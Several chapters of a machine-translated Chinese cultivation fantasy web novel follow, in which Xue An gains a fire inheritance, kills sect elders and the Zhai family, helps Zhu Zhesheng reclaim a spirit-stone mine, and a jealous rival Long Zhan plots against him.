

    At this moment, she was pale as paper, and a ray of blood was still dripping down the corner of her mouth. Even so, she was still trembling to protect Xue An.


    When Xuan Tongshu saw this, he couldn''t help but grinned, "It''s really deep and righteous, but it''s a pity that he will never know what you have done!"


    With that said, Xuantongshu waved his hand, and an invisible force once again flew Yue Qinghuan out of the original earthquake. This time she fell heavier than before, and she couldn''t get up for a while.


    Therefore, she could only watch Xuan Tongshu stride towards Xue An, her eyes full of unwillingness and despair.


    Is it all going to end here?


    Xue An!


    Why are you still not awake?


    Before and after Xuan Tongshu came to Xue An, he looked at him a few times, and then laughed strangely.


    "You actually got the Vulcan Inheritance, but it''s a pity... these gods don''t belong to you!"


    As he said, he stretched out his hand and patted Xue An''s Tianling Gai.


    Yue Qinghuan closed his eyes, all thoughts were lost in his heart.


    But just when Xuantongshu''s hand was about to touch Xue An''s hair.


    Suddenly, a colorful flame burst from the top of Xue An''s head.


    Unprepared, the flame directly burned Xuan Tongshu''s hand into nothingness.


    Xuan Tongshu and the guardian witch gods behind him screamed in pain, and then backed away with horror on their faces.


    At the same time, but saw countless flames gushing from all over Xue An''s body.


    In the blink of an eye, Xue An was enveloped in flames.


    Immediately afterwards, Xue An''s body began to become transparent, and all the internal organs and skeletal blood vessels were clearly visible.


    This kind of spectacle stunned everyone.


    Xuan Tongshu suddenly thought of something, his expression changed wildly, and shouted: "Hurry up, attack together and interrupt him in this state!"


    With an order, Shu Ling''er took the lead, followed by the rest of the witch **** sect.


    In an instant, seeing the brilliance in the temple, a witch **** of various appearances all appeared, launching an indiscriminate attack on Xue An.


    Naturally, Xuan Tongshu was no exception. He hated that Xue An had just lost a hand to himself, so he made an extremely harsh move, and wanted to kill Xue An soon afterwards.


    What is strange is that no matter how violent the attack from the outside world is, it has failed to shake the flames on Xue An''s body, on the contrary, it has become more blazing.


    Not only that, Xue An''s body in the flames also became more and more transparent.


    In the end, not only the internal organs, but also the blood and bones became transparent. Only the sea of ??consciousness was suspended in the flame like a golden pill, exuding shining brilliance.


    These visions made Yue Qinghuan a little stunned.


    "Tianhuo body refining, Xue An is going to... directly advance to the Immortal Venerable?" Yue Qinghuan said in disbelief.


    As soon as the voice fell, a violent power that made everyone terrified suddenly emerged from the flames.


    Then these flames began to merge rapidly, from the very beginning of the colorful, quickly condensed into a blood-like red.


    As soon as the red flame came out, it was like a paintbrush in the hands of a painter, beginning to outline Xue An''s lines out of thin air.


    First the face, then the neck and shoulders, chest and abdomen, arms...


    In the blink of an eye, Xue An, who had just become completely transparent, was re-outlined by the red flame.


    Although he was sitting staggeringly, although his eyes were still closed.


    But at this moment, everyone felt that the power from this white-clothed boy was overwhelmed with a little breathlessness.


    This can��t help but move everyone Yue Qinghuan even smiled, and then swept the temples near his ears, "This guy... actually succeeded! This is a good show." Up."


    This Xuan Tongshu also noticed the strangeness at this moment.


    Because the power from Xue Anshen is really terrifying.


    It was so terrible that it didn''t look like a fairy at all, and even the quasi-sage level he was a little trembling.


    Therefore, Xuan Tongshu gritted his teeth, raised all the cultivation base of his body, and slapped Xue An.


    He knew very well that if he couldn''t kill the danger invisible at this time, he might be the one who would be unlucky in the future.


    So the killing intent was boiling, and I just wanted to kill Xue An directly.


    But before his hand reached Xue An''s approach, Xue An suddenly opened his eyes and stared coldly at Xuan Tong Shu.


    There was a huge shock in Xuan Tongshu''s heart, and his unrelenting palm instantly stagnated, and the whole person actually froze in place.

 Chapter 2250： Spike the audience

    What kind of eyes are that!


    It is like a vast and endless sea of ??stars, with countless brilliance, but without sorrow or joy, calm as water.


    But just an understatement made this Xuantongshu stiff on the spot, unable to move.


    The audience was as quiet as a virgin, and Shu Ling''er was even more shocked, watching this scene in disbelief.


    At the same time, but seeing Xue An slowly getting up, he stepped forward to Xuantongshu.


    Xuantong was originally tall and mighty, but after Xue An came closer, he had to look up to see Xue An''s chin.


    Because Xue An was stepping in the void at this moment, staring down at him.


    After seeing Xue An''s eyes again, Xuantongshu couldn''t help but tremble. The psychological line of defense that had been thinking of resisting collapsed in an instant, and infinite prayers appeared in his eyes.


    I pray that Xue An can let him go.


    In response, Xue An raised the corners of his mouth slightly, revealing an imperceptible smile, and then stretched out his hand to gently rub the top of Xuantongshu''s head.


    Every time he rubbed it, Xuantongshu would tremble with it, and at the same time a deep despair appeared on his face.


    Seeing Xue An, who rubbed the top of Xuantongshu''s head as if petting a puppy, everyone was shocked.


    Especially the people of the witch gods.


    In their minds, Xuantongshu is like a **** and cannot be profaned.


    But the scene before them ruthlessly shattered all their beliefs.


    "Rao... forgive..." Xuantongshu''s lips trembled, and finally said the first sentence since Xue An woke up.


    But in the next second, a ball of flame rose from Xue An''s hand, and then attached to the top of Xuantongshu''s head.


    "Ahhhhhhhhhhhh!" Xuantongshu roared in pain.


    The guardian sorcerer standing behind him saw that the situation was not good, and wanted to escape even more.


    But the flame was so overbearing. When it was attached to the top of Xuantongshu''s head, the top of the guardian witch **** also burst into flames.


    Then this person, the witch god, burned like two huge candles under the horrified gaze of everyone.


    In the blink of an eye, Xuantongshu and this guardian witch **** were completely burnt to nothing, and then the flame flew back to Xue An''s hands and disappeared.


    There was no sound in the hall, and the faces of everyone in the Sorcerer Sect were as pale as snow.


    Because it took only one minute from Xue Anxing to the present, the great elder of the Sorcerer God Sect was killed in seconds.


    And looking at Xue An''s understatement, it''s as if this matter is as simple as breathing.


    How can this not shock everyone.


    At the same time, Xue An looked at the injured Yue Qinghuan, wished Zhesheng and gluttonous, and waved casually.


    A gentle force lifted them up, and at the same time a ray of green flame infiltrated their eyebrows.


    In the blink of an eye, their injuries healed at a terrifying speed.


    Taotie said nothing, and walked directly behind Xue An after landing. There was no resistance in his eyes, full of visceral fear.


    Yue Qing smiled happily, and walked to Xue An''s front.


    "Congratulations to you for proving Dao Immortal Venerable!"


    Xue An smiled slightly, but did not speak.


    At this time, Saint Zhu Zhe came over in a little astonishment.


    The blow of Xuan Tongshu just now almost killed him, and if it weren''t for Xue An''s help, he would never be able to wake up.


    So when he woke up, he was naturally a little surprised.


    Because he suddenly discovered that his cultivation base, which hadn''t improved for a long time, was showing signs of eagerness at this moment, as if he was about to break through at any time.


    But soon he left these things behind, and then looked at the Zhai family on the opposite side with a bitter expression on his face.


    "Mr. Xue, now you have the opportunity, so I hope you can help me fulfill my previous wish, eliminate all the people from the Zhai family, and avenge my family!" Zhu Zhesheng said with hatred.


    As soon as he said these words, Zhai Dewen and Zhai Zhuqing, who had been hiding behind the crowd and dared not raise their heads, trembled even more.


    Especially Zhai Dewen, a cold sweat oozes on his forehead.


    He is also the head of the family anyhow, so he has a good vision.


    But he still couldn''t see through Xue An today.


    Especially the hand that Xue An had just killed Xuantongshu in a second made him even more terrified.


    So after hearing Zhu Zhesheng''s words, he was shocked all over, and then looked at Shu Ling''er, the saint of the witch **** sect, with a pleading face.


    But what he didn''t expect was that at this moment, this Shu Linger stepped aside and kept a certain distance from him.


    Zhai Dewen was taken aback for a moment, and then infinite anger and sadness emerged in his heart.


    Is this the naked reality?


    At this moment, Xue An nodded lightly, and Guanghua flashed in his eyes, and an invisible force pulled Zhai Dewen and Zhai Zhuqing directly out of the crowd, and then pressed them to the ground.


    Click!


    This strength was so great that it directly shattered the knees of both of them.


    Despite this, the two of them didn''t even dare to hum, they could only look at Zhu Zhesheng pleadingly.


    Because they know that if they want to survive now, the only way is to pray for Zhe Sheng.


    Even if the hope is slim, you have to give it a try.


    So this Zhai Zhuqing looked at Zhu Zhesheng pleadingly, "Zhesheng, it was all my fault at the beginning, I have nothing to say, but I hope you can leave me a ray of soul..."


    "enough!"


    Before Zhai Zhuqing''s words were finished, Zhu Zhesheng interrupted her viciously, and then stared at her charming face, panting.


    Once upon a time, he regarded this face as his beloved and gave everything to her.


    The result was that his family business was plundered, and even his life was almost unprotected.


    While being held in the dungeon of Zuishenglou, Zhu Zhesheng was desperate and even tried several times to commit suicide, but was stopped by guards.


    Later, he was even a little numb, thinking that there was no hope of revenge in this life.


    In the end, it was so pitiful that he met Xue An.


    So when I saw the father and daughter of Zai Dewen kneeling in front of me, who I wanted to kill in my dreams, UU read www.uukanshu. Com Zhu Zhesheng felt that his pores all over his body were opened, and the resentment in his heart was also evacuated.


    This feeling made him feel relaxed and happy.


    But when he heard Zhai Zhuqing''s begging for mercy, in addition to being cheerful, there was a deep anger in his heart.


    I was angry at why I was blind, and I was fascinated by such a woman.


    After being screamed, Zhai Zhuqing didn''t dare to say anything, so he stopped talking, but still looked at Zhu Zhesheng blankly, hoping that he would be able to open the door and give himself a little bit of life.


    But this was nothing more than her wishful thinking, but seeing Zhu Zhesheng turned her head to give Xue An a hand.


    "Mr. Xue, I have nothing to say about the father and daughter, please do it!"


    Xue An nodded, and then a ray of flame rose from the feet of the two of them, and instantly enveloped them all.


    This flame was so overbearing that even the two of them were directly burned into fly ashes without a chance to scream.

 Chapter 2251： Active dedication

    In the blink of an eye, the flames dissipated, looking at the empty ground, Zhu Zhesheng''s tears burst into his eyes, and he fell to his knees with a splash.


    "Father, uncle, have you seen it? The murderer who killed you has been punishable!"


    As he spoke, Zhu Zhesheng wept loudly.


    At this time, Xue An turned his head and looked at Shu Ling''er, the saint of the witch **** cult.


    But just after Xue An''s gaze stayed on her, Shu Ling''er suddenly made a decision that was unexpected for everyone.


    But seeing Shu Ling''er suddenly stretched out her hand, several phantom witch gods appeared on the left and right in front of her.


    Immediately afterwards, the phantoms of the witch gods attacked the elites of the witch **** sect.


    That''s right!


    Shu Ling''er actually touched her.


    Unexpectedly, many people were directly crushed by the witch **** without a hum.


    Some quick-witted people wanted to escape or even resist, but how could they be Shu Ling''er''s opponent.


    Therefore, in the blink of an eye, the elite of these witch gods were slaughtered, leaving only Shu Ling''er standing there in the blood on the ground.


    Such a **** and terrifying scene caused Yue Qinghuan to raise his eyebrows slightly, and his eyes became cold.


    But at this moment, she saw that Shu Ling''er smiled at Xue An, "My lord, I want to have a few words with you alone, okay?"


    Xue An''s eyes flickered slightly.


    Yue Qinghuan felt a little uncomfortable inexplicably, and couldn''t help but say coldly: "What to talk about alone? What''s there to talk about! Shu Ling''er, do you still want to struggle when you die?"


    Shu Ling''er glanced at Yue Qinghuan, but the smile on her face did not change.


    "Yue Qinghuan, my actions just now have proved my sincerity. I just want to talk to Master Xue a few words. Isn''t this all right?"


    Yue Qinghuan just wanted to say no, Xue An nodded suddenly, then waved casually.


    An invisible barrier instantly enveloped the two of them, isolating everything on the outside.


    Seeing this scene, Yue Qinghuan was stunned for a moment, and then stomped bitterly.


    "Men are indeed a virtue. When a beautiful girl invites him, he will leave everything else behind! Can''t you see that Shu Ling''er is not at all well-intentioned?"


    Yue Qinghuan gritted his teeth outside.


    And in this divine mind barrier, Xue An said calmly: "Now say what you want to say!"


    Shu Ling''er didn''t speak in a hurry, but first looked at the divine consciousness barrier with interest. When she was sure that everything that was happening here could not be perceived by the outside world, she said with a smile.


    "What are you doing in such a hurry, can''t you just chat?"


    Xue An frowned slightly, "Is this what you want to say?"


    With that said, he made a move to remove this barrier of divine consciousness.


    Shu Ling''er gritted her teeth secretly in her heart, but she didn''t change her expression on the surface, "Oh, sir, don''t you be so anxious, I just don''t know how to speak for a while!"


    "Seriously, I really didn''t expect you to fuse this ancient sky fire before this!"


    "In fact, I have been coveting this Vulcan Palace for a long time. I just don��t know the specific location. The people of this Zhai family are so obsessed with their hearts that they actually invited us to find the Immortal Cave Mansion together. That��s why I personally went out and wanted this opportunity. !"


    Xue An remained unmoved and listened quietly.


    At this time, Shu Linger''s face showed a touch of bitterness.


    "Although I am a saint, this witch **** is a very realistic place, and the reality is almost cruel. If I can''t be brave and diligent, it may not be long before I will be replaced by someone else, and there is only one fate for me. , That is to become the plaything of many elders, and finally die in humiliation!"


    "I don''t want to be someone else''s plaything, so I have no choice but to become stronger, but I never expected that after waiting here, you absorbed Skyfire and successfully advanced!"


    Speaking of this, Shu Ling''er suddenly raised her head, her eyes full of deep worship.


    "Although you were only promoted to the Immortal Venerable, the strength you showed was so powerful that even the old guy Xuan Tongshu was not your opponent, and was killed by you with a single move!"


    "What kind of power is this!" Shu Linger whispered softly with a fascinated face.


    "You asked me to talk to you alone, just to compliment me?" Xue An said suddenly.


    "Haha, of course not!" Shu Ling''er chuckled, then her eyes flowed, there are thousands of styles between Gu and Pan.


    "Do you know why I suddenly attacked my own people, even the witch I trusted the most?"


    Xue An didn''t say a word, because he knew that Shu Ling''er would definitely continue speaking.


    really!


    I saw Shu Ling''er smile, her eyes full of brilliance, "Because they are all obstacles."


    "Hinder?"


    "Yes, it hinders the existence of our union!"


    Shu Ling''er said lightly, but these words were astonishing, and Xue An couldn''t help being startled.


    At this time, Shu Ling''er was full of excitement, "You are so powerful that you can even kill the quasi-sage-level elders with the strength of the Immortal Venerable. At the same time, you have absorbed the sky fire, and the future is unlimited! "


    "And I am a saint carefully selected by the witch gods, and my talent is unique among hundreds of millions of people. As long as the two of us are combined, we will definitely be able to give birth to a surprisingly talented and outstanding offspring!"


    "At that time, we will become the fairy companions envied by countless people, what do you think?"


    Shu Ling''er said very excitedly, but to her surprise, Xue An did not have the excitement she had imagined, and there was not even a trace of extra expression on her face. Instead, she looked at herself with a strange look.


    This made Shu Linger''s heart stunned.


    In fact, this idea grew in her heart from the moment she witnessed Xue An killing Xuan Tongshu with her own eyes.


    Once it appeared, this idea grew wildly and it made her feel more reasonable as she thought about it.


    But she didn''t expect that this thing, which seemed to her to be sure, was unexpectedly cold.


    Suddenly.


    She seemed to have thought of something, smiled faintly, and then stretched out her hand to undo the buttons on her dress.


    The robe slowly faded down, revealing a superb figure that loses one point and gains weight by one point.


    Shu Ling''er smiled proudly, "My lord, I know what you are worrying about, but you can rest assured that I have been purifying myself since being a saint, so I am still innocent, so as long as you are willing, I can dedicate everything to you!"


    A stunning woman who took the initiative to dedicate herself to this temptation is simply not something ordinary people can resist.


    unfortunately.


    Xue An is an exception.


    In fact, from the moment she took off her robe, Xue An turned her head and didn''t even look at her from beginning to end.


    After listening to Shu Ling''er''s words, he just said lightly: "Are you finished? Is this what you want to talk to me alone?"


    Xue An��s tone made Shu Ling''er feel a little flustered inexplicably, but she still smiled and said: "Yes, you..."


    But before she finished her words, a dazzling, straight sword light blocked all the words behind her.

 Chapter 2252： Return to the dock

    puff!


    Along with the sharp sound of the sword''s light cutting his skin, blood splashed from Shu Ling''er''s throat.


    She stared at Xue An blankly, as if she couldn''t believe that Xue An would actually kill herself until then.


    But with the passing of the blood, her beautiful eyes also became dull and dull, and then slowly extinguished, and her soul was lost.


    After she died, Xue An easily removed the barrier of divine consciousness. It was Yue Qinghuan''s sullen face that caught the eye first, and she was still muttering something in her mouth.


    "I''ve been in it for so long and still haven''t come out, the man really doesn''t have a good thing..."


    At this moment, the divine consciousness barrier disappeared.


    After seeing the dead body of Shu Ling''er who had fallen to the ground, the expression on Yue Qinghuan''s face became stiff, even if she smiled at Xue An rather unnaturally.


    "Ahem, you actually killed her?"


    "What? Can''t it be killed? Or do you think this woman shouldn''t be killed?" Xue An said lightly.


    "That''s not the case, this woman is guilty of death, I just didn''t expect you to do it so resolutely!" Yue Qinghuan smiled lightly.


    Xue An took a deep look at Yue Qinghuan, and did not pay attention to the perfunctory prevarication in her words, but turned to Zhu Zhesheng and said.


    "Now that everything I promised you has been completed, what else can I say?"


    Zhu Zhesheng plopped and knelt on the ground, knocking at Xue An, the blood on his forehead stained the floor of the hall.


    "I wish my disciple Zhu Zhesheng will remember the great kindness of Mr., I have nothing to say now, I just ask Mr. to take back the ownership of this vein for me!"


    Xue An raised his eyebrows, "Do you still need me to do this for you?"


    Zhu Zhesheng raised his head and said sincerely: "I have made a decision. After the husband takes back the mineral vein for me, the ownership of the mineral vein will belong to the husband. I will only take charge of it for you. In the future, as long as you need it, here Everything will be mobilized with you!"


    If someone else is present, he will take a breath after hearing these words.


    Because that is a huge vein of spirit stone!


    This is almost massive wealth, enough to make anyone crazy.


    But now Zhu Zhesheng gave it to Xue An.


    This kind of masterpiece is extremely rare, not to mention the ancient and the modern.


    And Xue An smiled slightly after hearing Zhu Zhesheng��s words, ��I appreciate your kindness, but this spirit stone vein is the ancestral property of your Zhu family, I don��t want it!��


    Zhu Zhesheng was anxious when he heard the words, and when he was about to speak, Xue An waved his hand to be a little safe and not irritable, and then said in a deep voice.


    "If you want to repay me, then find a way to seal this Xianzong Cave Mansion tightly, and no one is allowed to approach it, because this mountain is of great significance to me!" Xue An said with gleaming eyes.


    Zhu Zhesheng was shocked and immediately nodded in response: "Yes! I will turn this area into an inaccessible forbidden zone, but..."


    Zhu Zhe Sheng��s face looked difficult, "The people of the Witch God Sect obviously already know this, if they come to look for it in the future..."


    Xue An waved his hand, "Don''t worry, they won''t come, because the opportunity here has disappeared and only a lone mountain is left. What are they doing here?"


    Zhu Zhesheng just let go of his heart a little now.


    Xue An finally took a look at the hall, especially the empty shrine, and then said indifferently: "Let''s go!"


    After all, Xue An led Yue Qinghuan, Zhu Zhesheng, and Taotie back along the original road.


    When passing the lake of 10,000 fires again, the once insurmountable sky moat has become a pool of plain water due to the disappearance of the sky fire.


    The group passed smoothly, and then it took another day to cross the sea of ??star-gravel, and finally came to the ore vein dock.


    At this moment, the atmosphere of this pier, which has been condensed by the efforts of the Zhu family through the past generations, was taken by the Zhai family by cleverness.


    A wharf foreman said strangely: "Weird, this mining area has been sealed off for three full days, why haven''t the people of the Zhai family come back?"


    Another foreman said: "Yes! Now there are some people in the entire mining area panicking. The miners are rumoring that there are monsters hidden in this sea of ??gravel. The Zhai family members who have penetrated into it have been unpredictable and will never May be back!"


    "That''s great, I''ve long seen this Zhai family not pleasing to the eye, not to mention acrimonious, and don''t treat us as human beings at all, compared to the old boss, he is kind!" a foreman exclaimed.


    These words also silenced all the foremen present.


    Without exception, these people all became the foremen in charge of a team of miners at the time of Zhu��s family.


    Don''t underestimate this foreman. In order to have this status, you need at least a thorough knowledge of the situation in the mining area and enough prestige to make these unruly miners obey, otherwise you will not be able to do the job.


    It is precisely because of this irreplaceability that even after the Zhai family took control of this vein, they could not shake the position of these foremen.


    These foremen have also heard a little about the disputes between the old and new owners, but these are not something they can interfere with.


    At most, like today, I sigh secretly.


    However, the current situation has undergone some subtle changes.


    Because the Zhai��s disappearance caused the whole wharf to fluctuate, these foremen naturally took it in their eyes.


    If this continues, then these miners will definitely make a big mess.


    But they have nothing to do about it, they can only try their best to suppress it.


    As for the people of the Zhai family who stayed guard on the wharf, they turned a blind eye to these situations.


    In the words of the drunk elder Zhai, but just a bunch of stinky miners, can they get out of the sky?


    It''s a big deal when the time comes to catch a few typical people, and just kill them all. UU reading


    For this attitude, these foremen also dare not speak up.


    When the chaos on the wharf was growing, Xue An and his party finally arrived.


    At the beginning, these foremen thought they were from the Zhai family, but when Xue An and the others showed up, they were all stunned.


    Naturally, Xue An and Yue Qinghuan didn''t know each other, but they were too familiar with Saint Zhu Zhe.


    You must know that he is the only surviving descendant of the Zhu family, and some older foremen have watched him grow up since he was a child.


    Therefore, these foremen are also quite distressed about the situation and experience behind Zhu Zhesheng.


    But later I heard that he was trapped in Linglong City and seemed to have suffered an accident.


    This has made many foremen secretly shed tears.


    But I never expected that I would encounter it here today.


    "Young... young boss? Is that you?" a foreman asked in astonishment.

 Chapter 2253： Heavy palm veins

    "Uncle Kuang! Uncle Zhang! It is indeed me, I am back!" Zhu Zhesheng said respectfully.


    "Didn''t it mean that you have died in the dungeon of the Zuishenglou?" a foreman asked.


    "I really almost died at the time. Fortunately, Mr. Xue and Ms. Yue managed to rescue him, and only then escaped from the dead!" Zhu Zhesheng said.


    At this moment, Uncle Kuang, the oldest and most prestigious among these foremen, said suddenly.


    "Don''t say anything else, leave here quickly, quickly! Don''t delay for a moment!"


    This sentence reminded the other foremen, who said one after another: "Yes, get out of here quickly! It''s too dangerous here!"


    "Go? Why should I go?" Zhu Zhesheng smiled.


    Kuang Bo stomped his foot and said eagerly: "Before leaving, the Zhai family left an elder to guard here. At this moment, he is in the small building on the dock. If he finds out, you just want to leave. Not anymore!"


    Zhu Zhesheng was moved when he heard the words, but he still said casually: "Uncle Kuang, don''t worry, I am here to deal with these things this time, and this vein will return to my Zhu family in the future!"


    what?


    These foremen were all shocked as soon as these words came out.


    This Zhu Zhesheng is not stimulated by the successive blows!


    Now that the Zhai family is flourishing in spring and autumn, it has reached a cooperative relationship with the top sects of the outside world.


    This Zhu Zhesheng kept saying that the mineral veins should be recovered, isn''t this a joke!


    And if this is heard by the Zhai family, there will be no good fruit for blessing Zhe Sheng.


    really.


    As soon as Zhu Zhesheng''s words fell, he heard a three-pointed drunken sneer from afar.


    "Who should I dare to say such crazy words? It turned out to be the remnant of the Zhu family back then!"


    Following the voice, a beam of brilliance rose to the sky in the small pier in the distance, and came to everyone in the blink of an eye.


    After showing his figure, he was a majestic old man.


    I saw him drunk and smiled at Zhu Zhesheng, "The surname Zhu, you are really fateful, and you can escape from the Zuisheng Building, but if I were you, I should find a place to hide. It''s not like running here to utter rants!"


    Following the voices, the huge power enveloped the entire pier, which also made the foremen tremble at it.


    Unexpectedly, Zhu Zhesheng did not have the slightest fear, but smiled very happily.


    Even the elder of this zhai elder is a bit inexplicable.


    "The surname Zhu, why are you laughing?" he shouted in a deep voice.


    "What are you laughing at? Naturally you are laughing at your ignorance and foolishness! Your Zhai Patriarch is dead, but you are still here to show off your power, you really don''t know how to die!"


    As soon as this remark came out, the audience shook.


    The elder was even more horrified, his original drunkenness instantly turned into cold sweat and seeped out.


    "You are talking nonsense, the Patriarch leads many elites and many masters of the Witch God Sect, how could something go wrong! You must be lying."


    Zhu Zhesheng sneered twice, and didn''t bother to talk nonsense with this elder anymore, but directly handed over to Xue An.


    "Mr. Xue, please punish this officer!"


    Until then everyone noticed Xue An, who had been standing next to him without speaking.


    There is no other reason, it is that Xue An is too low-key nowadays, so low-key that it looks like a simple and unpretentious piece of jade, with the light and dust, and unremarkable.


    But when I heard Zhu Zhesheng��s words, I saw Xue Anjian raised his eyebrows, "Okay!"


    A good word was exported, without seeing Xue An''s actions, a ray of sword light appeared out of thin air, and in an instant, it crossed the distance between the two and appeared directly in front of the elder.


    The elder was so scared by the sudden sword that he still wanted to dodge, but as soon as he got the idea, he felt a cold neck, and then his eyes rolled up and saw his headless corpse.


    So this is the feeling of death!


    After this thought, the elder fell into eternal darkness.


    One sword!


    Just an understatement!


    The body of the elder, who had always flaunted his might and prestige in front of many miners and foremen, was broken.


    The audience was extremely quiet.


    Then Xue An said lightly; "Is that so!"


    Zhu Zhesheng nodded excitedly, "Yes! Thank you Mr. Xue!"


    Xue An waved his hand, "It''s okay, now I have eliminated the biggest obstacle for you, and it''s up to you next!"


    "Yes!"


    Zhu Zhesheng��s face was awe-inspiring, and he turned around and came to these foremen, and said in a deep voice: ��I believe you have seen it. This Mr. Xue is the one who saved me from the dungeon of the Zuisheng Building. He is also the great benefactor who helped me destroy the entire Zhai family!"


    With that said, Saint Zhu Zhe probably recounted the situation inside.


    When I heard that Zhai Dewen and all the elites of the Zhai family were indeed dead.


    The audience was in an uproar.


    Because this is really incredible.


    The Zhai family, who was still arrogant and arrogant three days ago, is already yesterday''s yellow flower. How can this not be shocking.


    But soon, the noisy scene gradually stabilized.


    Everyone looked at Zhu Zhesheng and wanted to see what he planned to do next.


    Just listen to Zhu Zhesheng''s solemn voice: "I have made a decision that the Zhai family used all kinds of despicable means to plunder the mineral veins that belonged to my Zhu family. Now is the time to let others return to their original owners!"


    "From then on, this mineral vein will be owned by my family again! Do you have any comments?"


    In the face of Zhu Zhesheng''s question, the audience was quiet for a short while, and then there was a boil.


    "I have nothing to say!"


    "Congratulations on the return of the old club!"


    "I saw the Zhai family not pleasing to your eyes. They are also to blame for their extermination!"


    In these shouts, the chief foremen were also beaming, and they stepped forward to meet again.


    Zhu Zhesheng came back this time and saw the sinister heart of the people, and the means of being in the world have been greatly experienced, so a few words calmed the floating hearts of the people. UU reading www. uukanshu. com


    At this point, he almost effortlessly regained control of the mining area.


    With excitement in his heart, Zhu Zhesheng turned around and wanted to bow to Xue An.


    But when he turned around, he realized that Xue An and Yue Qinghuan had long since disappeared.


    At the same time, there was a calm voice in his mind.


    "You have a good life in this mining area. If you find it useful in the future, I will contact you!"


    With tears in his eyes, Zhu Zhesheng bowed to the sky a few times before turning and leaving.


    At the same time, in that distant space, Yue Qinghuan asked: "Xue An, where are we going next?"


    "Where to go?" Xue An smiled slightly, staring at the prosperous galaxy in the far distance, and said lightly: "Naturally, I will go back to Yue''s house with you!"


    Yue Qinghuan was shocked, "Really?"


    "of course it''s true!"

 Chapter 2254： Soldiers, galaxy, beauty, teardrops

    Nobody knows how big the outer sky is on this day. There was a peerless power who carried the top magic weapon that can increase the speed of flight. He rose up his whole body to cultivate and trek for a full three years, but still did not find the boundary of the outer sky.


    Since then, people have given up the search for boundaries, thinking that this heaven is a place without borders.


    In such a vast starry sky, in addition to the desert-like void, there are naturally many extremely prosperous galaxies.


    There are many powerful sect families in these galaxies, and many of them are even top sects that have existed since ancient times and continue to this day.


    The number of these sects is not too much, just a hundred.


    Therefore, these sects are also called the ancient hundred schools.


    The Military Academy is one of the hundred ancient schools, and naturally occupies a huge galaxy.


    This galaxy is like a giant Optimus pillar, the main structure alone occupies a very large space, and from the main body there are twelve branches extending.


    Although it is divided into veins, it is comparable to the galaxies owned by ordinary sect families.


    These twelve branches are connected to the main body, like branches growing from a giant tree, magnificent and magnificent.


    now.


    In a branch located in the upper layer, there is a planet that is not too big in size.


    This planet is verdant and beautiful, like a pearl between the eyebrows of a beauty, giving people infinite reverie.


    And above the planet, there are many pubs and tea shops, and Goulan Washezhan makes the air here filled with a sweet and greasy powdery aroma.


    Here is the Long Family Branch of the Twelve Branches of the Military Academy, and this planet is the famous Pinjin Cave in the Long Family Branches, Xiaoyaodi.


    The name, tears of beauty!


    As the name suggests, there are brothels almost everywhere on this planet, so famous that even people from other sects come here to have fun.


    In this regard, although the other members of the military strategist have quite a bit of criticism, the Long family has turned a deaf ear to it and has been vigorously supporting it.


    After all, this beauty tears can earn huge wealth for the Long family every year.


    As for whether those squeezed women really shed tears and despair, whether the dirty money of the powder is used to lose heart....


    The Long Family had never considered it at all.


    At the same time, among the most luxurious and high-end brothel red sleeve tricks on the planet, the young master of the Long Family, Long Zhan, who once appeared in the Zuishenglou, and was finally left with anger, is drinking with several friends.


    Although the fine wine and delicacies were generally presented, although the beautiful woman was beside him, Long Zhan''s face was still very ugly, and he didn''t even say a word. He just bowed his head and drank a cup of wine.


    Seeing that Long Shao was in such a bad mood today, all these women were so scared that they didn''t dare to say anything, but bowed their heads and silently poured wine and vegetables.


    For a while, the atmosphere in the box seemed very dull and depressing.


    Seeing this scene, one of the men with a face like a fan, but with a bit of evil spirit between his eyebrows, couldn''t help but chuckled, breaking the silence first.


    "What''s wrong with Young Master Long? Is it just for the sake of drinking boring wine to summon us today?"


    The person who was speaking was the sect master of a sect that was not too far away from the soldier''s galaxy. His name was Liang Dikang. Because he often came to this beauty in tears to find pleasure, he had a good relationship with Long Zhan.


    "Yeah! Long Shao, what''s wrong with you? Why do you look gloomy when you come back?" Another handsome man couldn''t help laughing.


    Like Liang Dikang, this person was also a love seeker who often came to tears of beauty. His name was Zu Deming. Because of the wealth of his family, he also became good friends with Long Zhan.


    Hearing these two people''s questioning, Long Zhan smashed the wine glass in his hand, then raised his head, and said with a green expression: "It''s not because of that **** Yue Qinghuan!"


    As soon as I heard that Yue Qinghuan, the goddess recognized by the younger generation of soldiers, all the disciples present could not help but become interested.


    "Oh? What''s going on? Isn''t Shao Long sure to win this Yue Qinghuan? Could something have gone wrong?" Liang Dikang asked with interest.


    It''s okay for him not to ask, when he asked Long Zhan, he felt a green light on his head, and the anger in his heart was about to burst.


    Long Zhan gritted his teeth and said, "Didn''t I go to the Zuisheng Building before, but in this Zuisheng Building, I saw with my own eyes that Yue Qinghuan, a slut, is inseparable from a man and has a close relationship!"


    what!


    These words shocked everyone present.


    Liang Dikang immediately asked: "Who has such a bold personality, who dares to touch Shao Long''s forbidding? Could it be a descendant of other branches?"


    Now the whole Long family knows that the elders in the family intend to match Long Zhan and Yue Qinghuan, the daughter of the Yue family, so naturally they will not make trouble.


    Unless it is a descendant of several other branches.


    But Long Zhan shook his head, "Not a soldier!"


    "Who is that? Is it a descendant of other ancient families?" Zu Deming couldn''t help asking.


    "Neither. In fact, I started investigating this person immediately after I got back from the fight. It turned out that he was neither a descendant of a hundred families in ancient times, nor a blood descent from a famous family. In fact, when I saw him, he was only half of the time. Bu Xianzun''s little character!"


    Upon hearing this, the faces of Liang Dikang and Zu Deming all showed extremely weird looks.


    A half-step immortal who is neither a descendant of the ancient families nor the blood of a great family, but dared to hit the idea of ??a woman whom Long Zhan valued, how it sounds strange.


    "Then Young Master Long just let him go without dealing with such a small character?" Liang Dikang asked in disbelief.


    Of course Long Zhan was embarrassed to mention that he was slapped in the face by Yue Qinghuan and forced him to leave, he could only say viciously.


    "At that time, the situation was special. I had to leave first. UU read , but after investigating later, I finally found that this man was just a wild boy who didn''t know where he came from, so naturally I wouldn''t let it go so easily. he!"


    "Oh? What plans does Long Shao have?" Liang Dikang''s eyes lit up and couldn''t help asking.


    Long Zhan sneered, "It''s very simple. Since I returned from the call, I have reported the matter to the family truthfully. The family elder is also quite dissatisfied with this, and has already initiated an inquiry to the Yue family about this matter!"


    "I think the Yue family shouldn''t want their prostitute to find a savage man who doesn''t know where to jump out! Naturally, this Yue family will be shameless!"


    Speaking of this, Long Zhan''s face was full of bitter resentment and hatred.


    "The purpose of Shao Long summoning me to wait here today is..." Zu Deming asked.


